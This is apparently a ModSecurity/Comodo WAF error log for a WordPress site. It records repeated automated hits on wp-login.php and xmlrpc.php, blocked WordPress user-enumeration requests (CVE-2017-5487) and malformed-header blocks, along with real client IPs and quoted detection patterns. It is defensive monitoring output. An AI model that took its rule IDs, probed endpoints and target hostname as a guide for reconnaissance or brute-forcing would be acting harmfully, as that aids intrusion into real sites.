[Sat May 16 11:44:32.048959 2026] [:error] [pid 61361:tid 61381] [client 167.172.235.237:65500] [client 167.172.235.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.235.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfoIJZojzbt3jGziNkXfAAAAVI"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 12:14:08.361813 2026] [:error] [pid 61411:tid 61430] [client 51.210.146.129:41048] [client 51.210.146.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.146.129, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfvEGVkiEwGnPL_dvHZZgAAAZE"]
[Sat May 16 12:14:11.371901 2026] [:error] [pid 61411:tid 61424] [client 51.210.146.129:41048] [client 51.210.146.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.146.129, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agfvE2VkiEwGnPL_dvHZawAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 12:42:38.774904 2026] [:error] [pid 61361:tid 61377] [client 167.99.5.1:33180] [client 167.99.5.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.5.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agf1vpZojzbt3jGziNklMgAAAU4"]
[Sat May 16 12:42:41.174595 2026] [:error] [pid 61361:tid 61380] [client 167.99.5.1:33180] [client 167.99.5.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.5.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agf1wZZojzbt3jGziNklNAAAAVE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 12:45:12.072630 2026] [:error] [pid 24869:tid 24916] [client 43.131.32.36:47298] [client 43.131.32.36] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agf2WOxo3FMprMltYl4pTQAAAEg"]
[Sat May 16 13:29:14.537849 2026] [:error] [pid 62341:tid 62352] [client 78.46.47.235:45628] [client 78.46.47.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.46.47.235, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggAqqnvQ59ep-XG78icVAAAAoY"]
[Sat May 16 13:29:16.046664 2026] [:error] [pid 62341:tid 62353] [client 78.46.47.235:45628] [client 78.46.47.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.46.47.235, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggArKnvQ59ep-XG78icVQAAAoc"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 13:53:15.658994 2026] [:error] [pid 24979:tid 24981] [client 49.13.246.178:52392] [client 49.13.246.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.246.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggGS7vSFUQiwLaOL2p9-gAAAMA"]
[Sat May 16 13:53:16.681042 2026] [:error] [pid 24979:tid 24989] [client 49.13.246.178:52392] [client 49.13.246.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.246.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggGTLvSFUQiwLaOL2p-AwAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 13:59:34.245766 2026] [:error] [pid 61361:tid 61383] [client 37.27.234.213:57970] [client 37.27.234.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.27.234.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggHxpZojzbt3jGziNk0MQAAAVQ"]
[Sat May 16 13:59:35.467016 2026] [:error] [pid 61361:tid 61382] [client 37.27.234.213:57970] [client 37.27.234.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.27.234.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggHx5Zojzbt3jGziNk0MwAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 14:23:08.338784 2026] [:error] [pid 62341:tid 62368] [client 45.159.221.172:52038] [client 45.159.221.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.159.221.172, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggNTKnvQ59ep-XG78ii2gAAApY"]
[Sat May 16 14:23:10.223905 2026] [:error] [pid 62341:tid 62352] [client 45.159.221.172:52038] [client 45.159.221.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.159.221.172, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggNTqnvQ59ep-XG78ii3AAAAoY"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 14:39:46.085098 2026] [:error] [pid 61361:tid 61365] [client 54.171.24.11:60992] [client 54.171.24.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.171.24.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggRMpZojzbt3jGziNk-XAAAAUI"]
[Sat May 16 14:39:47.160914 2026] [:error] [pid 61361:tid 61372] [client 54.171.24.11:60992] [client 54.171.24.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.171.24.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggRM5Zojzbt3jGziNk-XgAAAUk"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 15:06:54.935636 2026] [:error] [pid 61361:tid 61366] [client 222.252.11.133:53130] [client 222.252.11.133] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "aggXjpZojzbt3jGziNlGCQAAAUM"]
[Sat May 16 15:20:34.394036 2026] [:error] [pid 24867:tid 24882] [client 45.136.17.84:59672] [client 45.136.17.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.136.17.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggawiDgFLCgyKq-zmYVxwAAAAE"]
[Sat May 16 15:20:35.410455 2026] [:error] [pid 24867:tid 24887] [client 45.136.17.84:59672] [client 45.136.17.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.136.17.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggawyDgFLCgyKq-zmYVyAAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 15:34:17.979097 2026] [:error] [pid 61411:tid 61413] [client 192.99.3.136:50636] [client 192.99.3.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.3.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggd-WVkiEwGnPL_dvH38QAAAYA"]
[Sat May 16 15:34:23.896295 2026] [:error] [pid 61411:tid 61437] [client 192.99.3.136:50636] [client 192.99.3.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.3.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggd_2VkiEwGnPL_dvH39QAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 15:34:26.378833 2026] [:error] [pid 61411:tid 61423] [client 52.31.99.165:39880] [client 52.31.99.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.31.99.165, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggeAmVkiEwGnPL_dvH3_AAAAYo"]
[Sat May 16 15:34:27.390982 2026] [:error] [pid 61411:tid 61417] [client 52.31.99.165:39880] [client 52.31.99.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.31.99.165, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggeA2VkiEwGnPL_dvH3_wAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 16:14:15.332846 2026] [:error] [pid 61411:tid 61415] [client 35.197.159.220:56151] [client 35.197.159.220] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aggnV2VkiEwGnPL_dvH9OgAAAYI"]
[Sat May 16 16:14:16.134178 2026] [:error] [pid 61411:tid 61424] [client 35.197.159.220:56151] [client 35.197.159.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.159.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnWGVkiEwGnPL_dvH9PAAAAYs"]
[Sat May 16 16:14:16.964088 2026] [:error] [pid 24979:tid 24988] [client 35.197.159.220:58377] [client 35.197.159.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.159.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnWLvSFUQiwLaOL2qQvAAAAMc"]
[Sat May 16 16:14:17.962347 2026] [:error] [pid 5602:tid 5613] [client 35.197.159.220:50567] [client 35.197.159.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.159.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnWdzTTsu77r3UIskpugAAAQk"]
[Sat May 16 16:14:18.869504 2026] [:error] [pid 24979:tid 24984] [client 35.197.159.220:59950] [client 35.197.159.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.159.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnWrvSFUQiwLaOL2qQwAAAAMM"]
[Sat May 16 16:14:19.788565 2026] [:error] [pid 61361:tid 61369] [client 35.197.159.220:58468] [client 35.197.159.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.159.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnW5Zojzbt3jGziNlTMAAAAUY"]
[Sat May 16 16:14:20.660468 2026] [:error] [pid 61361:tid 61372] [client 35.197.159.220:59550] [client 35.197.159.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.197.159.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnXJZojzbt3jGziNlTMgAAAUk"]
[Sat May 16 16:14:20.660682 2026] [:error] [pid 61361:tid 61372] [client 35.197.159.220:59550] [client 35.197.159.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.197.159.220, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aggnXJZojzbt3jGziNlTMgAAAUk"]
[Sat May 16 16:14:34.309003 2026] [:error] [pid 62341:tid 62353] [client 216.250.113.237:53692] [client 216.250.113.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.113.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggnaqnvQ59ep-XG78iurwAAAoc"]
[Sat May 16 16:14:37.225587 2026] [:error] [pid 62341:tid 62363] [client 216.250.113.237:53692] [client 216.250.113.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.113.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aggnbanvQ59ep-XG78iusQAAApE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 16:54:47.577336 2026] [:error] [pid 61361:tid 61383] [client 43.165.174.53:45480] [client 43.165.174.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aggw15Zojzbt3jGziNlcSwAAAVQ"]
[Sat May 16 16:55:45.853906 2026] [:error] [pid 5602:tid 5627] [client 163.44.120.29:36990] [client 163.44.120.29] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "aggxEdzTTsu77r3UIsksmwAAARc"]
[Sat May 16 17:08:56.873708 2026] [:error] [pid 5602:tid 5615] [client 43.134.187.251:57882] [client 43.134.187.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agg0KNzTTsu77r3UIsktIQAAAQs"]
[Sat May 16 17:34:56.038442 2026] [:error] [pid 24979:tid 25005] [client 65.254.225.220:45522] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agg6QLvSFUQiwLaOL2qY4wAAANg"]
[Sat May 16 17:34:57.234888 2026] [:error] [pid 24979:tid 25004] [client 65.254.225.220:45522] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agg6QbvSFUQiwLaOL2qY5gAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 19:18:01.183098 2026] [:error] [pid 24874:tid 24941] [client 66.96.183.218:48912] [client 66.96.183.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.96.183.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghSaciii6x3XidYGHHevgAAAIY"]
[Sat May 16 19:18:02.440837 2026] [:error] [pid 24874:tid 24956] [client 66.96.183.218:48912] [client 66.96.183.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.96.183.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghSasiii6x3XidYGHHevwAAAJU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 20:11:49.479864 2026] [:error] [pid 24979:tid 25003] [client 159.195.93.0:44778] [client 159.195.93.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.195.93.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghfBbvSFUQiwLaOL2ql3wAAANY"]
[Sat May 16 20:11:50.421922 2026] [:error] [pid 24979:tid 25004] [client 159.195.93.0:44778] [client 159.195.93.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.195.93.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghfBrvSFUQiwLaOL2ql5AAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 20:20:14.495999 2026] [:error] [pid 61411:tid 61417] [client 43.165.67.31:49210] [client 43.165.67.31] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aghg_mVkiEwGnPL_dvEXMgAAAYQ"]
[Sat May 16 20:30:07.601742 2026] [:error] [pid 61361:tid 61384] [client 157.180.91.98:33464] [client 157.180.91.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.180.91.98, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghjT5Zojzbt3jGziNl70gAAAVU"]
[Sat May 16 20:30:08.589964 2026] [:error] [pid 61361:tid 61364] [client 157.180.91.98:33464] [client 157.180.91.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.180.91.98, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghjUJZojzbt3jGziNl71AAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 20:42:06.970977 2026] [:error] [pid 62341:tid 62360] [client 43.133.41.88:50550] [client 43.133.41.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aghmHqnvQ59ep-XG78jBCQAAAo4"]
[Sat May 16 20:45:44.609306 2026] [:error] [pid 24979:tid 24987] [client 178.20.210.57:57616] [client 178.20.210.57] ModSecurity: Access denied with code 403 (phase 3). Match of "validateByteRange 0-31" against "ARGS:wcdn_invoice[invoice_preffix]" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6640"] [id "243420"] [rev "4"] [msg "COMODO WAF: Information disclosure vulnerability in Eclipse Jetty before 9.2.9.v20150224 (CVE-2015-2080)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aghm97vSFUQiwLaOL2qo8wAAAMY"], referer: https://rcacivilgroup.com/wp-admin/
[Sat May 16 20:45:44.609414 2026] [proxy_fcgi:error] [pid 24979:tid 24987] (20014)Internal error (specific information not available): [client 178.20.210.57:57616] AH01075: Error dispatching request to : (passing brigade to output filters), referer: https://rcacivilgroup.com/wp-admin/
[Sat May 16 20:50:10.528163 2026] [:error] [pid 61361:tid 61384] [client 3.138.94.247:47374] [client 3.138.94.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.138.94.247, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghoApZojzbt3jGziNl-2AAAAVU"]
[Sat May 16 20:50:11.517355 2026] [:error] [pid 61361:tid 61371] [client 3.138.94.247:47374] [client 3.138.94.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.138.94.247, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghoA5Zojzbt3jGziNl-3gAAAUg"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 21:25:53.611181 2026] [:error] [pid 61411:tid 61425] [client 5.161.77.206:47766] [client 5.161.77.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.77.206, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghwYWVkiEwGnPL_dvEdqQAAAYw"]
[Sat May 16 21:25:57.037957 2026] [:error] [pid 61411:tid 61424] [client 5.161.77.206:47766] [client 5.161.77.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.161.77.206, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aghwZWVkiEwGnPL_dvEdqgAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Sat May 16 21:26:29.557878 2026] [:error] [pid 61411:tid 61415] [client 150.228.11.72:8878] [client 150.228.11.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.11.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aghwhWVkiEwGnPL_dvEdtwAAAYI"]
